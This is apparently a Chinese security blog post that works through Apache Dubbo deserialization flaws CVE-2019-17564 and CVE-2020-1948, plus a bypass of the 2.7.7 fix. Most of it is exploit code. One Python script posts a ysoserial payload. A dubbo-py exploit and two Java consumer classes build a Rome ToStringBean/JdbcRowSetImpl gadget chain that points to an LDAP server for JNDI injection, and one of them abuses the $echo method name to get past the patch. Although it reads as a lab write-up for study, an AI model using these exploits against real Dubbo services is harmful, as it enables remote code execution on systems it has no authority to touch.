前言 最近看到的 Dubbo 反序列化漏洞,以前没有见过这个框架,现在顺便总结一下最近的几个反序列化洞。
Dubbo Dubbo 是一个分布式服务框架远程调用框架,类似 Java 的 RMI 远程方法调用,需要进行跨 JVM 的远程网络通信,所以就要用到序列化和反序列化。而 Dubbo 中有多种序列化方式,有的序列化方式在反序列化收到的数据的时候,就容易受到反序列化攻击。
CVE-2019-17564 环境搭建 在 GitHub 上面拖一个 demo,然后 IDEA 打开使用 HTTP 协议的 dubbo-samples-http 文件夹,修改一下 pom.xml 里面的 Dubbo 版本,再加入一个可以利用的 Gadget:
1 2 3 4 5 6 7 <dubbo.version > 2.7.3</dubbo.version > ...<dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
再修改一下 http-provider.xml 里面的 zookeeper 地址,这里我将 zookeeper 开在虚拟机的 docker 里面,所以这里是虚拟机地址:
1 <dubbo:registry address ="zookeeper://${zookeeper.address:192.168.111.128}:2181" />
然后在虚拟机开一个 zookeeper 容器:
1 2 docker pull zookeeper docker run -id --name zookeeper -p 2181:2181 zookeeper
然后 Dubbo 的 HttpProvider 就可以开起来了。
漏洞原理 根据漏洞描述:
1 Unsafe deserialization occurs within a Dubbo application which has HTTPremoting enabled. An attacker may submit a POST request with a Java object init to completely compromise a Provider instance of Apache Dubbo, if thisinstance enables HTTP.
简单发一个 POST 请求,可以看到错误的调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 java.io .StreamCorruptedException : invalid stream header : 64617461 java.io .ObjectInputStream .readStreamHeader (ObjectInputStream.java :899 ) java.io .ObjectInputStream .<init>(ObjectInputStream.java :357 ) org.springframework .core .ConfigurableObjectInputStream .<init>(ConfigurableObjectInputStream.java :63 ) org.springframework .remoting .rmi .CodebaseAwareObjectInputStream .<init>(CodebaseAwareObjectInputStream.java :97 ) org.springframework .remoting .rmi .RemoteInvocationSerializingExporter .createObjectInputStream (RemoteInvocationSerializingExporter.java :125 ) org.springframework .remoting .httpinvoker .HttpInvokerServiceExporter .readRemoteInvocation (HttpInvokerServiceExporter.java :119 ) org.springframework .remoting .httpinvoker .HttpInvokerServiceExporter .readRemoteInvocation (HttpInvokerServiceExporter.java :100 ) org.springframework .remoting .httpinvoker .HttpInvokerServiceExporter .handleRequest (HttpInvokerServiceExporter.java :79 ) org.apache .dubbo .rpc .protocol .http .HttpProtocol$InternalHandler .handle (HttpProtocol.java :216 ) org.apache .dubbo .remoting .http .servlet .DispatcherServlet .service (DispatcherServlet.java :61 ) javax.servlet .http .HttpServlet .service (HttpServlet.java :790 )
因为输入的不是 Java 序列化字节码,所以会因为无法反序列化而报错,追踪调用栈,我们定位到 HttpInvokerServiceExporter 类的 readRemoteInvocation 方法:
1 2 3 4 5 6 7 8 9 10 protected RemoteInvocation readRemoteInvocation (HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException { ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is)); try { return doReadRemoteInvocation(ois); } finally { ois.close(); } }
可以看到从输入中创建一个 ObjectInputStream 对象,然后在 doReadRemoteInvocation 方法中:
1 2 3 4 5 6 7 8 9 protected RemoteInvocation doReadRemoteInvocation (ObjectInputStream ois) throws IOException, ClassNotFoundException { Object obj = ois.readObject(); if (!(obj instanceof RemoteInvocation)) { throw new RemoteException ("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj)); } return (RemoteInvocation) obj; }
进行了反序列化。
漏洞利用 很简单,POST 一个 ysoserial 生成的 payload 就好了:
1 2 3 4 5 6 7 import requestsimport base64 url = " http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService" data = base64.b64decode("rO...Hg=" ) requests.post(url, data=data)
CVE-2020-1948 环境搭建 在 GItHub 上面拖一个 Dubbo 2.7.6 版本的 demo,然后用 IDEA 打开 dubbo-spring-boot-samples 文件夹,运行 DubboAutoConfigurationProviderBootstrap 类,就可以把环境开起来了。
然后给这个项目里的 pom.xml,即 dubbo-spring-boot-samples\auto-configure-samples\provider-sample\pom.xml 加上 rome 依赖:
1 2 3 4 5 <dependency > <groupId > com.rometools</groupId > <artifactId > rome</artifactId > <version > 1.7.0</version > </dependency >
漏洞原理 这个漏洞有两个触发点,第一个没什么好说的,就是普通的 Hessian 反序列化攻击(就是 Dubbo 默认使用的序列化方式),Dubbo 会反序列化传输来的方法参数:
1 2 3 4 5 6 7 8 9 10 args = new Object [pts.length];for (int i = 0 ; i < args.length; i++) { try { args[i] = in.readObject(pts[i]); } catch (Exception e) { if (log.isWarnEnabled()) { log.warn("Decode argument failed: " + e.getMessage(), e); } } }
另一个触发点比较有意思,利用的是打印错误信息触发的 toString,Dubbo 在找不到注册的 service 就会打印错误信息:
1 2 3 4 5 DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);if (exporter == null ) { throw new RemotingException (channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv); }
这里的 inv 就是 DecodeableRpcInvocation 类型的对象,里面存放了远程方法调用需要的数据,比如反序列化后的 arguments,这里会隐式调用它的 toString 方法,也就是它的父类 RpcInvocation 的 toString 方法:
1 2 3 4 5 6 @Override public String toString () { return "RpcInvocation [methodName=" + methodName + ", parameterTypes=" + Arrays.toString(parameterTypes) + ", arguments=" + Arrays.toString(arguments) + ", attachments=" + attachments + "]" ; }
也就是说会调用 arguments 对象的 toString,就可以作为反序列化链的入口,比如接上 Rome 依赖中的 toStringBean 触发 JNDI 注入。
顺带一提的是,在高一点版本的 Dubbo(2.7.6)中,这个入口点已经被修复了,打印错误的代码变成了:
1 2 3 4 5 DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);if (exporter == null ) { throw new RemotingException (channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv)); }
没有直接调用 inv 的 toString 方法,而是调用 getInvocationWithoutData 方法来获取数据:
1 2 3 4 5 6 7 8 9 10 11 private Invocation getInvocationWithoutData (Invocation invocation) { if (logger.isDebugEnabled()) { return invocation; } if (invocation instanceof RpcInvocation) { RpcInvocation rpcInvocation = (RpcInvocation) invocation; rpcInvocation.setArguments(null ); return rpcInvocation; } return invocation; }
把 arguments 置空了,这个入口点也就无法使用了,除非配置了 debug 模式。
漏洞利用 第二种利用方式可以直接使用 python 的 dubbo-py 库,参考 ruilin 师傅给出的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from dubbo.codec.hessian2 import new_objectfrom dubbo.client import DubboClient client = DubboClient('127.0.0.1' , 12345 ) JdbcRowSetImpl = new_object( 'com.sun.rowset.JdbcRowSetImpl' , dataSource="ldap://127.0.0.1:1389/Exploit" , strMatchColumns=["foo" ] ) JdbcRowSetImplClass = new_object( 'java.lang.Class' , name="com.sun.rowset.JdbcRowSetImpl" , ) toStringBean = new_object( 'com.rometools.rome.feed.impl.ToStringBean' , beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='cn.rui0' , method_name='rce' , service_version="1.0.0" , args=[toStringBean] )
第一种的利用就比较麻烦了,因为 Rome 的 HashMap 类型要用 dubbo-py 来构造比较复杂,利用方式跟 Java RMI 客户端攻击服务端相似,不过不需要在意服务函数的参数类型,因为它的函数调用是在反序列化完成之后进行的。
所以利用的时候可以像参考文章里面那样,通过 wireshark 抓包改包来完成,也可以自己改一改它的接口(将方法参数类型改为 Object)和消费者类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @EnableAutoConfiguration public class DubboAutoConfigurationConsumerBootstrap { private final Logger logger = LoggerFactory.getLogger(getClass()); @Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345") private DemoService demoService; private static void setFieldValue (Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } private static Object getFieldValue (Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); return field.get(obj); } private Object getPoc () throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit" ); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); HashMap hashMap = new HashMap <>(1 ); hashMap.put("replacement" , "Twings" ); Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table" ); Object hashMapNode = hashMapTable[1 ]; setFieldValue(hashMapNode, "key" , equalsBean); return hashMap; } public static void main (String[] args) { SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close(); } @Bean public ApplicationRunner runner () throws Exception { String result = demoService.sayHello(getPoc()); System.out.println(result); return args -> logger.info(result); } }
一发入魂。
2.7.7 反序列化漏洞绕过 2.7.7 在反序列化参数的时候加多了一个验证:
1 2 3 4 5 6 if (pts == DubboCodec.EMPTY_CLASS_ARRAY) { if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) { throw new IllegalArgumentException ("Service not found:" + path + ", " + getMethodName()); } pts = ReflectUtils.desc2classArray(desc); }
这里的 pts 是一个参数类型匹配的机制,用来检测传输的参数类型跟本地配置的是否一致,如果不一致则会检测调用方法名,如果要调用的方法不是 $invoke、$invokeAsync 或者 $echo 就会直接报错退出。
其实这个验证压根不影响反序列化漏洞的利用,因为反序列化在函数函数调用之前就已经进行了,所以我们可以通过控制方法名来进行反序列化攻击,修改接口中的方法名为 $echo($invoke 会有消费者这边的问题),然后修改消费者类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 @EnableAutoConfiguration public class DubboAutoConfigurationConsumerBootstrap { private final Logger logger = LoggerFactory.getLogger(getClass()); @DubboReference( version = "1.0.0", url = "dubbo://127.0.0.1:12345", timeout = 100 ) private DemoService demoService; private static void setFieldValue (Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } private static Object getFieldValue (Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); return field.get(obj); } private Object getPoc () throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit" ); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); HashMap hashMap = new HashMap <>(1 ); hashMap.put("replacement" , "Twings" ); Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table" ); Object hashMapNode = hashMapTable[1 ]; setFieldValue(hashMapNode, "key" , equalsBean); return hashMap; } public static void main (String[] args) { SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close(); } @Bean public ApplicationRunner runner () throws Exception { return args -> logger.info(demoService.$echo(getPoc())); } }
同样一发入魂。
参考文章:
Dubbo序列化与反序列化
CVE-2020-1948打印错误触发toString-1
CVE-2020-1948打印错误触发toString-2
CVE-2020-1948的两种触发方式